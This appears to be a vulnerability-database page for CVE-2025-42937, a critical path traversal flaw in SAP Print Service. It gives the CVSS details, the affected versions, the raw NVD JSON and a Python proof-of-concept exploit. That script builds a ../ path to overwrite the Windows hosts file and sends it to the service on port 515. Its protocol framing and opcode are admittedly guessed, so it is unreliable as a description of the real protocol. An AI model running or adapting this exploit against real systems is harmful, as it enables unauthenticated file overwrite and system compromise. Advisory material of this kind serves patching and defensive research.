Security Vulnerability Report
中文
CVE-2025-42937 CVSS 9.8 CRITICAL

CVE-2025-42937

Published: 2025-10-14 01:15:33
Last Modified: 2026-04-15 00:35:42

Description

SAP Print Service (SAPSprint) performs insufficient validation of path information provided by users. An unauthenticated attacker could traverse to the parent directory and over-write system files causing high impact on confidentiality integrity and availability of the application.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Print Service (SAPSprint) - S4CORE 100
SAP Print Service (SAPSprint) - S4CORE 101
SAP Print Service (SAPSprint) - S4CORE 102
SAP Print Service (SAPSprint) - S4CORE 103
SAP Print Service (SAPSprint) - S4CORE 104
SAP Print Service (SAPSprint) - SAP_BASIS 700-756
SAP Print Service (SAPSprint) - 适用于所有受影响SAP NetWeaver版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-42937 - SAP Print Service (SAPSprint) Path Traversal PoC # This PoC demonstrates the path traversal vulnerability in SAPSprint service. # The vulnerability allows unauthenticated attackers to traverse directories # and overwrite system files via insufficient path validation. import socket import struct import sys TARGET_HOST = "127.0.0.1" # Target SAPSprint server host TARGET_PORT = 515 # Default SAPSprint service port (LPR/SAP protocol) TRAVERSAL_DEPTH = 5 # Number of parent directory traversals TARGET_FILE = "Windows\\System32\\drivers\\etc\\hosts" # File to overwrite def build_malicious_path(depth: int, target_file: str) -> str: """ Build a path traversal payload using ../ sequences to escape the spool directory. """ traversal = "..\\" * depth return traversal + target_file def build_sapsprint_payload(malicious_path: bytes) -> bytes: """ Construct a SAPSprint protocol packet containing the malicious path. The exact framing follows SAP's internal print spool protocol. """ # SAPSprint protocol header (simplified representation) header = struct.pack(">I", len(malicious_path)) # payload length # Command identifier for spool file submission (example opcode) command = struct.pack(">H", 0x0002) # Path field containing the traversal payload path_field = struct.pack(">H", len(malicious_path)) + malicious_path # Reserved / job metadata fields metadata = b"\x00" * 32 return header + command + path_field + metadata def exploit(host: str, port: int, payload: bytes) -> None: """ Send the crafted payload to the SAPSprint service. """ print(f"[*] Connecting to {host}:{port} ...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) print("[+] Connection established.") sock.sendall(payload) print("[+] Malicious payload sent.") response = sock.recv(4096) print(f"[*] Server response: {response.hex()}") except Exception as e: print(f"[-] Exploit failed: {e}") finally: sock.close() if __name__ == "__main__": malicious_path = build_malicious_path(TRAVERSAL_DEPTH, TARGET_FILE) print(f"[*] Malicious path: {malicious_path}") payload = build_sapsprint_payload(malicious_path.encode("utf-8")) exploit(TARGET_HOST, TARGET_PORT, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42937", "sourceIdentifier": "[email protected]", "published": "2025-10-14T01:15:33.043", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP Print Service (SAPSprint) performs insufficient validation of path information provided by users. An unauthenticated attacker could traverse to the parent directory and over-write system files causing high impact on confidentiality integrity and availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-35"}]}], "references": [{"url": "https://me.sap.com/notes/3630595", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}